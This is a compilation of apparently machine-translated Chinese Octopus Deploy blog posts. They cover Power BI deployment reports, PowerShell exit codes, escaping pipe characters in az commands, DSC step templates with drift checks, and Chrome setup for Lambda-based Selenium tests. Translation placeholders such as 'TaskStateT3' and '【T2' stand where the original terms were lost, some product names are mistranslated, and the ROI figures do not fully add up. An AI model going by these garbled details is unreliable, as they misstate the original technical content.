在这篇文章中，我预览了我整理的内容。我还将介绍如何创建连接并从 Octopus Deploy 实例中提取数据。
这篇文章分为以下几个部分:
先决条件
您需要具备几个先决条件:
部署历史图表
部署历史产生了一些非常有趣的模式和结果。来自不同分组(项目、环境等)的原始部署计数。)，部署执行时间以及成功率和失败率。
按日期和项目统计部署数量:这是我整理的第一张图表，看到过去五年我们每年完成的部署数量，我感到震惊。这份报告每年分解一次，把项目堆起来。在此图表中，您可以按季度、月份和日期深入查看部署计数。点击向下双箭头向下钻取，然后点击向上箭头返回:
按环境和项目划分的部署数量:下图显示了我们在每个环境中按项目划分的部署数量:
总部署:这是部署历史表中所有记录的计数，即所有的部署。
成功部署:这是所有部署的计数，由TaskState Succeeded过滤。
部署失败:这是所有部署的计数，由TaskStateT3 过滤。
总运行时间:这是一个以小时为单位告诉我们所有部署的总时间的度量。持续时间是以秒为单位存储的，所以我将它除以总小时数。
总运行时间分钟数:这是一个度量，它告诉我们所有部署的总时间，以分钟为单位。持续时间是以秒为单位存储的，所以我再一次用它除以总分钟数。
总运行时间秒数:这是所有部署的总持续时间的总和。
按状态划分的部署计数:下图显示了按任务状态划分的所有部署的摘要和计数:
按项目划分的平均运行时间秒数:下面的图表显示了每个项目的每次部署平均需要多长时间。这适用于所有环境:
按环境划分的总部署数:下图显示了每个环境中的总部署数:
基于部署数量，按项目和环境列出的问题百分比:通过下面的图表，我想显示我们按项目对每个环境进行的部署或重新部署的比率。这可能不是一个准确的表示，但是如果部署到较低环境(开发和 QA)的百分比较高，这可能意味着发现了问题并修复了部署，然后重新部署。如果我们在每个环境中都有一个均匀的部署百分比，这可能意味着没有发现任何错误/问题，并且部署通过了生产。
如果您在此图表中注意到，QA 和 Prod 中的商店网站几乎具有相同的部署百分比。对我来说，这意味着不是在 QA 中测试和发现问题，而是在生产中发现错误。我认为这意味着有一个代码质量问题需要解决。
将商店网站与网站进行比较，您可以看到与生产相比，开发和 QA 中的百分比差异要高得多。我认为这意味着开发人员在开发中发现 bug，然后他们错过的 bug 在 QA 中被发现。在过去的 5 年里，我们已经发布了 16 个主要的稳定版本的网站。
虽然这可能不是 100%准确，但是您可以引入一些数据，并从您的票证系统中创建一个关系，以便使用支持数据使其更加准确。
计划与实际的百分比:下图比较了开发和生产的发布。目标是查看有多少项目版本打算投入生产，但由于代码问题或错误，它们必须在投入生产之前重新发布:
部署取消/超时最多的应用:下图显示了哪个项目的部署取消或超时最多。如果超时，这可能表示脚本或进程花费的时间太长。这可能是一个大型数据库更改脚本或大型文件传输:
部署失败次数最多的应用:下图显示了哪个项目/应用的部署失败次数最多。这可能有许多原因，例如错误配置的变量、更改的服务器、第三方组件更改或升级、服务器关闭、脚本失败等。如果有一个很高的数字，这可能是一个值得研究的问题:
部署最多的应用:下图显示了哪个项目/应用的部署最成功。
项目和环境的最大持续时间(秒):下图显示了每个项目在每个环境下的最大持续时间(秒)。这允许您比较为每个项目部署代码需要多长时间:
按项目从开发到生产的平均天数:下图显示了从一个版本被部署到开发到它被提升到生产的平均持续天数:
发布到产品的最短天数:下图显示了从开发到生产的最短发布时间。在我们的例子中，我们在同一天从开发到生产部署了发布:
发布到产品的最大天数:下图显示了从开发到生产的最大发布时间:
Runbooks 历史图表
Runbooks 于 2019 年底推出，我最近开始使用它们完成一些基本的操作任务。这些图表按日期、执行时间和成功与失败总结了运行手册的执行情况。
这些报告目前仅适用于 Octopus Deploy 的本地实例，因为 Octopus Cloud 实例上没有RunbookHistory API 调用。
按日期统计的运行频率:下图显示了按日期统计的执行频率。因为我们最近才开始使用 runbooks，所以我深入了解了当天的情况，看看这个月我们已经运行了多少次:
Runbook 执行:这是 runbooks 历史表中所有记录的计数，即所有 Runbook 的所有执行。
成功运行:这是所有运行的计数，由TaskState Succeeded过滤。
运行失败:这是所有运行的计数，由TaskStateT3 过滤。
总运行时间:这是一个度量，告诉我们所有运行手册执行的总时间，以小时为单位。持续时间是以秒为单位存储的，所以我将它除以总小时数。
总运行时间分钟:这是一个度量，告诉我们所有 runbook 执行的总时间，以分钟为单位。持续时间是以秒为单位存储的，所以我将它除以总分钟数。
总运行时间秒数:这是所有 runbook 执行的总持续时间的总和。
Runbook 成功率:下图显示了基于任务状态的 Runbook 执行计数，由IsPublishedT5 过滤。我们在测试时遇到了一些故障，但我们只想知道这些故障是否在发布并被我们的最终用户使用后才出现:
执行操作手册的用户:下图显示了哪些用户正在执行操作手册，以及每个用户已经执行了多少次:
【T2 
Runbook 的平均持续时间(秒):下图显示了每个 run book 被执行的次数。这张图表也是按IsPublished true过滤的:
报告
创建这些报告可能看起来工作量很大，确实如此。但是我有好吃的给你！我复制了我的 PowerBI 报告，并为 SQL Server 和 Octopus Cloud 实例创建了一个模板。下面是每个模板的链接和我的博客的链接，其中包括设置连接字符串、API URL 和 API 键，以便您可以访问您的数据。
现在我们有了数据，我们可以查看我们创建的所有图表。我将图表整理成四页，包含大量有用的信息:
- 部署
- 问题
- 期间
- 运行手册
第一页称为部署。下面是过去五年中我的本地 Octopus Deploy 实例的数据示例截图:
本地实例:部署页面
第二页是问题。这是我的报告的屏幕截图，其中包含与潜在问题相关的所有图表:
本地实例:问题页面
第三页称为持续时间，包含所有与执行持续时间相关的图表:
本地实例:持续时间页面
最后一个页面名为 Runbooks ，这目前只是 Octopus Deploy 的本地实例的一个选项，因为 Octopus Cloud 实例上没有RunbookHistory API 调用。
本地实例:运行手册页面
投资收益率
那么 Octopus Deploy 为我的公司节省了多少钱呢？来看看我收集的数据。
在过去五年中，Octopus Deploy 已经执行了 3，572 次部署。假设在典型的手动部署中，每个部署需要一个小时来部署到多个服务器。在我的例子中，我们至少有一个网站、一个 API 和两个数据库。我们的其他环境有更多的 web 服务器(在 web 场中)和更多的 API。
最少也要 3，572 个小时，我们可以肯定，对于较大的环境来说，这需要更多的时间。手动执行 3572 小时，但 Octopus Deploy 的自动执行仅用了 53.5 小时。
如果我们有一个人来处理部署，那么在一个典型的 168 小时工作月中，仅执行部署就要花费他们每月大约三分之一的时间。
如果他们的时薪是每小时 80 美元，我们每年就要花费 57，000 美元，持续五年，总计 285，760 美元。
现在，如果我能说服我的公司从我节省下来的 267，360 美元中给我一点奖金，那就太棒了。
结论
现在您可以看到您的数据了，我希望您会发现其中一些报告和图表很有用，也许您甚至会想出新的报告和图表来添加到这些报告和图表中。如果你这样做了，评论和分享你的想法，也许我可以把它们纳入我的下一个版本。
PowerShell 和退出代码 0 - Octopus 部署
Octopus Deploy 有两种不同的方式来执行 PowerShell 脚本。最初，我们在 AppDomain 中托管 PowerShell 并调用管道。那种方法有问题，所以现在我们简单地调用 PowerShell.exe 的脚本并通过管道传输结果。
当我改变我们的方法时，我遇到的一个问题是 PowerShell 使用返回代码的方式。我(错误地)假设，如果脚本运行成功，将返回 0，如果失败(异常、无效语法等)。)代码将是非零的。
这里有一个测试。在 PowerShell 中创建此文件:
# Call a command that doesn't exist
rubbish
现在，运行它并打印它返回的返回代码:
现在，试试这个脚本:
# Parser error
!
另一个:
# Invalid argument
New-Item -Dwarf Sneezy
显然，PowerShell 中的退出代码 0 可以表示从“脚本运行良好”到“您的脚本完全崩溃，PowerShell 将被卸载”的任何内容。有人可能会认为这是正确的行为，因为 PowerShell 成功地完成了它的工作(运行脚本)，但脚本是不正确的，这不是 PowerShell 的错。就我个人而言，我不同意这种方法。这就像 C#编译器为不能编译的代码返回退出代码 0，因为代码不好并不是编译器的错。
所以，我不能仅仅依靠退出代码来告诉 Octopus 脚本失败了。
然而，所有这些类型的错误确实会写入到的 stderr 流，而的 stderr 流是好的，所以我认为，如果脚本正在写入到stderr，则脚本存在某种问题，我们可以使用写入到stderr的信号来使脚本失败。我在章鱼 1.4 就是这么做的。
但是这在实践中并不是很好，事实证明人们大量使用stderr是因为他们不想让部署失败。所以我收到了很多关于脚本运行“正常”但被视为失败的错误报告。
现在，我不对返回代码做任何事情(哦，除了如果$LastExitCode不为零，我会设置 PowerShell 退出代码)。当脚本运行时，由您来检查错误并返回适当的退出代码。 PowerShell 让这一切变得非常简单。
然而，对stderr的写入将会在您的部署日志中产生一个警告。如果有警告，你可以使用特殊的章鱼变量OctopusTreatWarningsAsErrors让章鱼停止部署。因此，这是一种即使 PowerShell 以代码 0 退出，也可以在写入stderr时让 Octopus 失败的方法。
了解更多信息
在 PowerShell 命令中转义管道字符- Octopus Deploy
最近，我的任务是开发一些 Azure web 应用程序，为了节省时间，我使用 Azure CLI 来运行命令az webapp create -g testgroup -p testplan -n testapp --runtime "node|10.6"。这导致了非常迟钝的错误'10.6' is not recognized as an internal or external command, operable program or batch file.，我花了一些谷歌来理解这个问题。PowerShell 转义字符没有按照我预期的方式提供帮助。
在这篇博文中，我们将看看解决这个错误的一些方法。
用引号将字符串括起来
解决此错误的第一种方法是用单引号将包含管道字符的字符串括起来，如下所示:
az webapp create -g testgroup -p testplan -n testapp --runtime '"node|10.6"'
或者:
az webapp create -g testgroup -p testplan -n testapp --runtime 'node"|"10.6'
您也可以用转义双引号将字符串括起来:
az webapp create -g testgroup -p testplan -n testapp --runtime "`"node|10.6`""
这也适用于Start-Process CmdLet:
start-process az -argumentlist @("webapp", "create", "-g", "testgroup", "-p", "testplan", "-n", "testapp", "--runtime", '"node|10.6"') -nonewwindow -wait
您可以在外部变量中定义参数，并用引号将管道字符括起来:
$runtime='node"|"10.6'
az webapp create -g testgroup -p testplan -n testapp --runtime $runtime
使用 PowerShell 停止解析符号
可以将停止解析符号(- %)添加到命令中，以指示 PowerShell 停止尝试解释字符串，从而生成类似以下的命令:
az webapp create -g testgroup -p testplan -n testapp --runtime --% "node|10.6"
您可以在 PowerShell 文档中找到关于此符号的更多信息。
什么不起作用
用单引号括住管道字符不起作用:
PS C:\Users\Matthew> az webapp create -g testgroup -p testplan -n testapp --runtime "node'|'10.6"
''10.6' is not recognized as an internal or external command,
operable program or batch file.
使用单引号不起作用:
PS C:\Users\Matthew> az webapp create -g testgroup -p testplan -n testapp --runtime 'node|10.6'
'10.6' is not recognized as an internal or external command,
operable program or batch file.
将运行时字符串放入变量是行不通的:
PS C:\Users\Matthew> $runtime = "node|10.6"
PS C:\Users\Matthew> az webapp create -g testgroup -p testplan -n testapp --runtime $runtime
'10.6' is not recognized as an internal or external command,
operable program or batch file.
使用Start-Process也不起作用:
PS C:\Users\Matthew> start-process az -argumentlist @("webapp", "create", "-g", "testgroup", "-p", "testplan", "-n", "testapp", "--runtime", "node|10.6") -nonewwindow -wait
'10.6' is not recognized as an internal or external command,
operable program or batch file.
转义竖线字符不起作用:
PS C:\Users\Matthew> az webapp create -g testgroup -p testplan -n testapp --runtime "node`|10.6"
'10.6' is not recognized as an internal or external command,
operable program or batch file.
使用 PowerShell 转义字符^不起作用。这是您在 Windows 命令提示符下转义管道字符的方式，我曾看到它被错误地建议作为 PowerShell 的解决方案:
PS C:\Users\Matthew> az webapp create -g testgroup -p testplan -n testapp --runtime "node^|10.6"
'10.6' is not recognized as an internal or external command,
operable program or batch file.
结论
在 PowerShell 中使用管道字符传递参数需要一些特殊的处理，这并不是显而易见的，但是停止处理符号或一些特殊的带引号的转义将会使您摆脱麻烦。
像使用 Octopus Deploy - Octopus Deploy 的应用程序一样部署 PowerShell 所需状态配置(DSC)
PowerShell DSC 是一项非常棒的技术，可以放在您管理基于 Windows 的服务器的工具箱中。这篇文章是一系列文章的一部分:
我们也有关于使用 PowerShell DSC 和 Octopus Deploy 的文章:
在之前的帖子中，Paul Stovell 向我们展示了如何使用 Octopus Deploy 将 PowerShell 期望状态配置(DSC)部署到服务器，以:
- 管理基础设施。
- 使用机器策略监控漂移。
- 使用项目触发器自动校正漂移。
这篇博文将通过以下方式阐述这一观点:
- 将配置数据分离成配置数据文件(. psd1)。
- 将 PowerShell DSC 脚本转换为 step 模板。
- 捕获机器策略中漂移的项目。
- 利用文件中的替代变量功能来设置环境或项目中需要更改的属性。
到本文结束时，我们将创建一个可重用的 PowerShell DSC 脚本，作为可以在部署中使用的步骤模板。我们还将创建一个机器策略，该策略将报告任何已漂移的项目，并将机器标记为不健康。
PowerShell DSC
保罗的原始剧本
Paul 为 DSC PowerShell 提供的代码示例是一个很好的基本脚本示例:
Configuration WebServerConfiguration
{
Node "localhost"
{
WindowsFeature InstallWebServer
{
Name = "Web-Server"
Ensure = "Present"
}
WindowsFeature InstallAspNet45
{
Name = "Web-Asp-Net45"
Ensure = "Present"
}
}
}
WebServerConfiguration -OutputPath "C:\DscConfiguration"
Start-DscConfiguration -Wait -Verbose -Path "C:\DscConfiguration"
分离节点数据
在他的例子中，节点数据包含在脚本本身中，要配置的特性是静态的。如果我们将脚本中的节点数据分离到配置数据文件(DSC 配置)中，我们可以使 DSC PowerShell 脚本更加动态:
@{
AllNodes = @(
@{
# node name
NodeName = $env:COMPUTERNAME
# required windows features
WindowsFeatures = @(
@{
Name = "Web-Server"
Ensure = "Present"
Source = "d:\sources\sxs"
},
@{
Name = "Web-Asp-Net45"
Ensure = "Present"
Source = "d:\sources\sxs"
}
)
}
)
}
使 DSC PowerShell 脚本更加动态
现在，节点数据已经分离，DSC PowerShell 脚本可以更改为动态的，安装配置数据文件(DSC 配置)中指定的功能:
Configuration WebServerConfiguration
{
Import-DscResource -ModuleName 'PSDesiredStateConfiguration' # We get a warning if this isn't included
Node $AllNodes.NodeName
{
# loop through features list and install
ForEach($Feature in $Node.WindowsFeatures)
{
WindowsFeature "$($Feature.Name)"
{
Ensure = $Feature.Ensure
Name = $Feature.Name
Source = $Feature.Source # Needed if for some reason the resource isn't on the OS already and needs to be retrieved from something like a mounted ISO
}
}
}
}
WebServerConfiguration -ConfigurationData "C:\DscConfiguration\WebServer.psd1" -OutputPath "C:\DscConfiguration"
Start-DscConfiguration -Wait -Verbose -Path "C:\DscConfiguration"
填写 DSC 配置的更多详细信息
太好了！我们的 web 服务器实现有了一个良好的开端，但是配置 web 服务器不仅仅是安装 Windows 功能。让我们通过添加一些额外的 Windows 功能、站点、应用程序，为 IIS 站点设置默认日志路径，并使用密码、哈希、协议、密钥交换和指定密码套件顺序来加强我们的安全性，从而为我们的配置数据文件添加更多的数据。
注意:这只是为了演示，请咨询您的安全团队以确定哪些设置最适合您的组织。
以下是一个片段，完整的文件可以在我们的示例 GitHub 存储库中找到，网址为https://GitHub . com/OctopusSamples/DSC-as-a-template/blob/master/src/complete script/web server . PS D1:
@{
AllNodes = @(
@{
# node name
NodeName = $env:COMPUTERNAME
# required windows features
WindowsFeatures = @(
...
@{
Name = "Web-Server"
Ensure = "Present"
Source = "d:\sources\sxs"
},
...
)
# default IIS Site log path
LogPath = "c:\logs"
# Define root path for IIS Sites
RootPath = "C:\inetpub\wwwroot"
# define IIS Sites
Sites = @(
...
@{
Name = "OctopusDeploy.com"
Ensure = "Present"
State = "Started"
BindingInformation = @(
@{
Port = "80"
IPAddress = "" # leave blank or comment out to set to All Unassigned
Protocol = "HTTP"
},
@{
Port = "443"
IPAddress = ""
Protocol = "HTTPS"
CertificateStoreName = "WebHosting" # WebHosting | My
Exportable = $true
}
)
Pool = @{
PipeLine = "Integrated"
RuntimeVersion = "v4.0"
State = "Started"
}
Applications = @(
...
@{
Name = "OctoFX"
FolderName = "OctoFX"
Ensure = "Present"
Pool = @{
Pipeline = "Integrated"
RuntimeVersion = "v4.0"
State = "Started"
}
Authentication = @{
Windows = $false
Anonymous = $true
}
},
...
)
}
)
# fill in this section to enable or disable encryption protocols, hashes, ciphers, and specify cipher suite ordering
Encryption = @{
Ciphers = @(
...
@{
Name = "DES 56/56"
Enabled = "0" # Disabled = 0, Enabled = -1
},
...
)
Hashes = @(
...
@{
Name = "MD5"
Enabled = "0"
},
...
)
Protocols = @(
...
@{
Name = "Multi-Protocol Unified Hello"
Enabled = "0"
},
...
)
KeyExchanges = @(
...
@{
Name = "Diffie-Hellman"
Enabled = "-1"
},
...
)
CipherSuiteOrder = @("TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", ...)
}
}
)
}
更完整的 DSC 脚本
正如您可能已经猜到的，我们需要更新我们的 DSC 脚本来配置我们在配置数据文件中指定的选项。
以下是一个片段，完整的文件可以在我们的示例 GitHub 资源库中找到，网址是https://GitHub . com/OctopusSamples/DSC-as-a-template/blob/master/src/complete script/IISDSC-complete . PS1:
Configuration WebServerConfiguration
{
Import-DscResource -ModuleName 'PSDesiredStateConfiguration'
Import-DscResource -Module xWebAdministration
Node $AllNodes.NodeName
{
# loop through features list and install
ForEach($Feature in $Node.WindowsFeatures)
{
WindowsFeature "$($Feature.Name)"
{
...
}
}
# stop default web site
xWebSite DefaultSite
{
...
}
# loop through list of default app pools and stop them
ForEach($Pool in @(".NET v2.0", `
".NET v2.0 Classic", `
".NET v4.5", `
".NET v4.5 Classic", `
"Classic .NET AppPool", `
"DefaultAppPool"))
{
xWebAppPool $Pool
{
...
}
}
# make sure log path exists
File LoggingPath
{
...
}
# loop through the sites
ForEach($Site in $Node.Sites)
{
# create the folder
File $Site.Name
{
...
}
# create the site app pool
xWebAppPool $Site.Name
{
...
}
# create the site
xWebSite $Site.Name
{
...
}
# Loop through site application collection and create folders
ForEach($Application in $Site.Applications)
{
File "$($Site.Name)-$($Application.Name)"
{
...
}
# create application pool
xWebAppPool $Application.Name
{
...
}
# create application
xWebApplication $Application.Name
{
...
}
}
}
}
}
# create credential object
$Credentials = @()
WebServerConfiguration -ConfigurationData "C:\DscConfiguration\WebServer.psd1" -OutputPath "C:\DscConfiguration"
Start-DscConfiguration -Wait -Verbose -Path "C:\DscConfiguration"
这不是一个关于如何做 PowerShell DSC 的帖子，所以我不会重复添加的所有内容。然而，我确实想强调一行，Import-DscResource -Module xWebAdministration。这个 xWebAdministration 不像 PSDesiredStateConfiguration 那样是默认安装的，当我们进行部署时需要包含它。我们将在这篇文章的后面讨论更多。
使 DSC 脚本成为步骤模板
好吧！我们将配置数据分离到它自己的文件中，并且我们有一个 DSC 脚本来配置 IIS Web 服务器。现在让我们开始在 Octopus Deploy 中将它们连接在一起，并使我们的 DSC 脚本成为一个步骤模板！
我们首先登录 Octopus Deploy 实例，单击 Library 选项卡，然后是 Step Templates:
点击添加按钮:
选择部署包模板:
设置
填写设置:
因素
我们将定义三个参数，DSC 路径、配置数据文件步骤和配置数据文件名。这些将被我们的 DSC 脚本使用。
DSC 路径
这是一条小路。DSC 执行时将写入 MOF 文件:
配置数据文件名
这是我们创建的配置数据文件的名称，WebServer.psd1:
包 ID
这是库中将用于部署的包的 ID:
步骤选项卡
配置功能
在步骤选项卡上，单击配置要素按钮:
在文件中启用自定义部署脚本和替代变量:
设置包变量
在“步骤”选项卡的“包详细信息”下，单击链式链接图标以启用到变量的绑定:
现在，单击#调出变量列表，并选择我们创建的 DSCPackageId 参数:
实现 DSC 脚本
展开自定义部署脚本，并将我们的 PowerShell DSC 脚本粘贴到部署脚本框中:
通过单击相反的箭头进入全屏模式，这样我们可以更容易地调整我们的脚本以使用我们定义的参数:
滚动到底部并更改:
WebServerConfiguration -ConfigurationData "C:\DscConfiguration\WebServer.psd1" -OutputPath "C:\DscConfiguration"
Start-DscConfiguration -Wait -Verbose -Path "C:\DscConfiguration"
收件人:
# set location for mof files
Set-Location -Path $DSCTempPath
# get the configuration data file
$ConfigurationDataFile = (Get-ChildItem -Path $OctopusParameters["Octopus.Action.Package.InstallationDirectoryPath"] | Where-Object {$_.Name -eq $DataFileName}).FullName
# Display which file it's using
Write-Host "The configuration data file is: $ConfigurationDataFile"
# Execute and generate .MOF file
WebServerConfiguration -ConfigurationData $ConfigurationDataFile -OutputPath $DSCTempPath
# Configure the server using the MOF file
Start-DscConfiguration -Wait -Verbose -Path $DSCTempPath
设置变量替换
展开“文件中的替代变量”部分。对于目标文件，单击#并选择数据文件名变量:
现在，保存模板。
酷！我们刚刚创建了一个动态的、可重用的步骤模板，它将使用 PowerShell DSC 配置 IIS Web 服务器！现在我们需要创建一个新项目来使用它。
PowerShell DSC 资源模块注意事项
在这篇文章的前面，我谈到了 DSC 脚本中的Import-DscResource -Module xWebAdministration行。这是对 xweb administration PowerShell DSC 资源模块的引用，需要从 PowerShell Gallery 或 GitHub 下载。需要注意的是，您的脚本中引用的任何 DSC 模块都必须在 DSC 脚本执行之前安装。
使您的配置数据文件(DSC 配置)和您引用的 PowerShell DSC 模块成为可部署包
假设您已经将配置数据文件(DSC 配置)和引用的 PowerShell DSC 模块放入源代码控制中。一旦进入源代码控制，您的构建服务器就可以很容易地将它们打包并发送到 Octopus Deploy 进行部署。
配置您的项目
现在我们已经有了配置数据文件包和 PowerShell DSC 模块包，我们可以配置我们的项目了！
创建项目变量
在定义我们的流程之前，让我们创建一些将在我们的部署中使用的变量；项目。PowerShellModulePath，项目。DSCPath，项目。PackageId 和 Project.ConfigurationDataFile。单击 Variables 选项卡并像这样填写变量:
定义部署流程
步骤 1:部署 PowerShell DSC 模块
PowerShell DSC 将使用$env:PSModulePath 中定义的路径来查找模块。出于演示的目的，我们将把模块放在变量 Project.PowerShellModulePath 中定义的c:\Program Files\WindowsPowerShell\Modules中。
通过单击“添加步骤”,向我们的项目添加一个新步骤:
选择部署包模板:
要指定特定位置，请单击“配置功能”按钮并启用自定义安装目录:
要引用变量，请单击#调出列表并选择 Project.PowershellModulePath，然后单击 Save。
警告！不要在安装前选择清除这个目录，PowerShell 需要的其他模块在那里。
完成后，您的步骤应该如下所示:
步骤 2:我们的自定义步骤模板
第二步是我们之前创建的自定义步骤模板。通过选择库步骤模板类别，然后选择步骤来添加此步骤，在本例中，它是 Web 服务器 PowerShell DSC:
【T2 
用项目中的变量填充我们创建的参数:
就是这样！一旦我们保存了我们的项目，我们就可以创建一个发布并配置一个服务器了！
PowerShell DSC 和 Octopus 部署结合，太棒了！
部署完成后，我们应该会看到如下内容:
登录到我们的 Web 服务器，我们应该会发现 IIS 已经安装，并且定义了站点、应用程序池和应用程序:
变量替换更牛逼！
但是等等！在我们的配置数据文件中，我们已经静态地设置了 IIS 站点登录的位置，但是如果我希望每个项目都有所不同呢？这就是我们可以使用 Octopus Deploy 的文件替换变量特性的地方！
让我们创建一个名为 Project 的变量。日志位置的日志路径:
让我们将配置数据文件中的LogPath = "c:\logs"行改为LogPath = "#{Project.LogPath}"。#是 Octopus Deploy 语法，表示变量 LogPath 的位置。不要忘记检查的变化，以便它可以交付给八达通部署！
因为我们在自定义步骤模板中启用了文件中的替代变量特性，所以我们已经准备好处理这个问题了！
有了我们定义的变量和交付给 Octopus Deploy 的新配置数据文件包，我们就可以创建新的发布和部署了！部署完成后，我们将弹出到我们的 IIS 服务器，我们应该看到日志文件路径已经更新:
使用机器策略监控淘气行为
哇！太棒了。我可以像部署应用程序一样部署服务器配置更改！有人调皮手动改了怎么办？你不是说要监控漂移吗？是的，当然了！我们可以调整 Paul 的机器策略脚本，向我们显示哪些项目不再处于所需状态，并将机器标记为不健康。
Paul 监控漂移的机器策略如下所示:
$result = Test-DscConfiguration -Verbose -ErrorAction SilentlyContinue
if ($result -eq $false) {
Write-Host "Machine has drifted"
Fail-HealthCheck "Machine has drifted"
} elseif ($result -eq $true) {
Write-Host "Machine has not drifted"
} else {
Write-Host "No configuration has been applied to the machine yet"
}
如果我们改变一些事情，我们可以很容易地列出哪些资源已经漂移:
# Capture the detailed results
$result = Test-DscConfiguration -Detailed
# Check to see if anything is in the NotInDesiredState collection
if ($result.ResourcesNotInDesiredState.Count -gt 0)
{
# Loop through the resources
foreach ($resource in $result.ResourcesNotInDesiredState)
{
# Display warning
Write-Warning "Resource $($resource.ResourceId) is not in desired state!"
}
# Fail the health check
Fail-HealthCheck "Machine has drifted."
}
else
{
# All good!
Write-Host "Machine has not drifted."
}
让我们通过在我们的 IIS 服务器上停止 OctopusDeploy.com 网站来测试它。停止站点后，在对机器运行运行状况检查时，我们应该会看到类似这样的内容:
摘要
在本文中，我们创建了一个 PowerShell 期望状态配置(DSC)脚本，将其转换为 Octopus 部署步骤模板，将节点数据分离到一个配置数据文件(DSC 配置)中，并创建了一个用于监控漂移的机器策略。
这篇文章的源代码可以在https://github.com/OctopusSamples/DSC-as-a-template获得
Selenium 系列:准备资源- Octopus 部署
原文：https://octopus.com/blog/selenium/29-preparing-the-resources/preparing-the-resources
这篇文章是关于创建 Selenium WebDriver 测试框架的系列文章的一部分。
当作为 AWS Lambda 运行代码时，我们负责在每次应用程序运行时配置环境。虽然 Lambda 通常被称为无服务器计算(这是我们在上一篇文章中安装的无服务器应用程序的名称的灵感来源)，但仍然涉及到服务器。术语“无服务器”指的是这样一个事实，即服务器不需要由我们作为最终用户来提供或管理，并且在大多数情况下，我们可以运行我们的代码，而不必太担心托管它的服务器的细节。
然而，针对一个无头 Chrome 浏览器运行 WebDriver 测试确实需要我们配置环境，以确保我们需要的资源可用。也就是说，我们需要 Chrome 浏览器和可供 WebDriver 使用的二进制驱动程序。
尽管我们的代码将在 Linux 服务器上运行，但我们没有从包管理器安装 Chrome 的奢侈。事实上，我们甚至不能下载和运行 Chrome 的标准发行版，因为托管 Lambda 函数的 Linux 环境还不够标准，不足以让这些官方版本工作。
在 Medium 上有一个详细的帖子，讨论了如何编译 Chrome 的定制版本以在 Lambda 环境中运行。不用说，为 Lambda 构建 Chrome 的过程并不是特别容易。好消息是这篇博文的作者已经自动化了这个过程，并在 https://github.com/adieuadieu/serverless-chrome/releases 的为 Lambda 提供了定期更新的 Chrome 版本。我们将在自己的环境中使用这些版本。
我们需要配置的第二个资源是 Chrome 二进制驱动程序。正如我们在本地运行 WebDriver 测试时所做的那样，作为测试的一部分，需要下载、提取和配置这个二进制驱动程序。
当在本地运行测试时，将这个二进制驱动程序放在PATH上的一个目录中是很方便的。我们在 Lambda 环境中没有这种奢侈，因为它受到严格限制，我们没有权限将文件放在通常可能在PATH上的位置。但是这没关系，正如我们在之前的帖子中看到的，我们可以设置webdriver.chrome.driver系统属性指向二进制驱动的位置。
Lambda 还对 Lambda 包的大小进行了限制。今天，我们被限制在 50MB 的封装大小。正如我们将在下一篇文章中看到的，我们的代码已经占用了大量的限制，没有留下足够的空间来打包像 Chrome 发行版和二进制驱动程序这样的文件。
Lambda 确实允许我们在运行时下载和提取额外的文件，我们将利用这一点在每次测试中下载 Chrome 发行版和驱动程序。为了使下载这些文件的过程尽可能快，我们需要将它们托管在 S3，它可以通过高速连接由 Lambda 函数访问，因为 Lambda 和 S3 都是由 AWS 托管的服务。
首先，我们在本地下载这些文件。打开https://github.com/adieuadieu/serverless-chrome/releases，下载 Chrome 发行版的 64 版本。
在我的测试中，当从 AWS Lambda 调用时，版本 65、66 和 67 不能正常工作，所以我们必须专门使用版本 64。
一些版本的 Chrome 不工作的事实突出了我们在这里使用的代码应该被认为是实验性的。
【T2 
然后打开https://sites . Google . com/a/chromium . org/Chrome driver/downloads找到支持 Chrome 64 的 Linux 二进制驱动的版本。从驱动列表中我们可以看到 2.37 版本支持 Chrome 64。
打开https://chromedriver.storage.googleapis.com/index.html?path=2.37/ 下载 Linux 二进制驱动。
然后，我们将把这些文件上传到 S3，就像我们创建测试公共网站一样。
从 AWS 控制台选择服务➜ S3 。
我们将创建一个新的存储桶来存放这些文件，因此单击Create bucket按钮。
为您的存储桶命名，然后单击Create按钮。
请记住，存储桶名称必须是全局唯一的，因此您将无法使用此处显示的名称。
打开新创建的存储桶。
点击Upload按钮。
点击Add files按钮。
选择之前下载的两个文件。
点击Upload按钮。
文件上传后，选择它们并点击更多➜公开。
然后点击Make public按钮。
要找到可用于下载这些文件的 URL，请单击该文件并查看Overview选项卡中的链接。记下这些 URL，因为我们在后面的帖子中需要它们来下载文件和准备 Lambda 环境。
将定制的 Chrome 发行版和适当的 Chrome 驱动程序上传到 S3 后，我们可以继续创建一个包含 Java 代码的包，这些代码将作为 Lambda 函数执行。
这篇文章是关于创建 Selenium WebDriver 测试框架的系列文章的一部分。
以前的部署- Octopus 部署
我们在 2.5.4 中添加的一个小特性是在查看项目概述时能够轻松查看以前的部署。默认情况下，您只能看到每个环境的最新部署:
您可以单击“Previous”选项卡，展开并显示每个环境以前的成功部署:
目标是更容易找到要回滚到的部署。这意味着我们只显示成功的部署，并且我们只显示当前部署版本之外的版本的部署(例如，如果花了 4 次尝试来部署 3.18，您仍然会看到 3.17 是以前的部署)。
同样，在查看部署时，我们添加了该环境中以前部署的列表:
同样，我们的目标是能够快速帮助您回滚。该列表实际上不仅显示了以前的部署，还显示了任何将来的部署(如果您正在查看旧的部署)。
这是一个微小的变化，但有时正是这些微小的变化真的有帮助。愉快的部署！
介绍项目 TestDrive - Octopus Deploy
开始一个新的 IT 项目是一个令人生畏的前景。通常感觉你需要深入了解六种工具和平台，其中任何一种都足够复杂，你可以围绕它建立一个完整的职业生涯，更不用说以任何有意义的方式将它们集成在一起。
如果你曾经盯着一个概念验证项目，不知道从哪里开始，你并不孤单。我在办公室里听到过不止一个负责调试 Kubernetes、NGINX、WildFly 或 Tomcat 部署的开发人员同事(包括我自己)发出的无奈的叹息，我们工作的环境中这种部署司空见惯。
然而，令人难以置信地令人满意的是，您可以看到部署通过 Octopus 从 CI 服务器中启动的构建展开到其目的地，因为从该基线开始，变化被快速地迭代实现。
章鱼的目标之一是让您更快、更少沮丧地到达目的地。为此，我们刚刚启动了 TestDrive 项目，将几个虚拟机发布到fluoro Cloud中，这些虚拟机利用自由和开源平台，如 Jenkins、Docker、Kubernetes、Tomcat 和 NGINX，捕获各种独立的 CI/CD 工作流。
获取虚拟机
Hyper-V 和 VirtualBox 虚拟机已经使用流浪者构建和打包，并通过流浪者云分发。
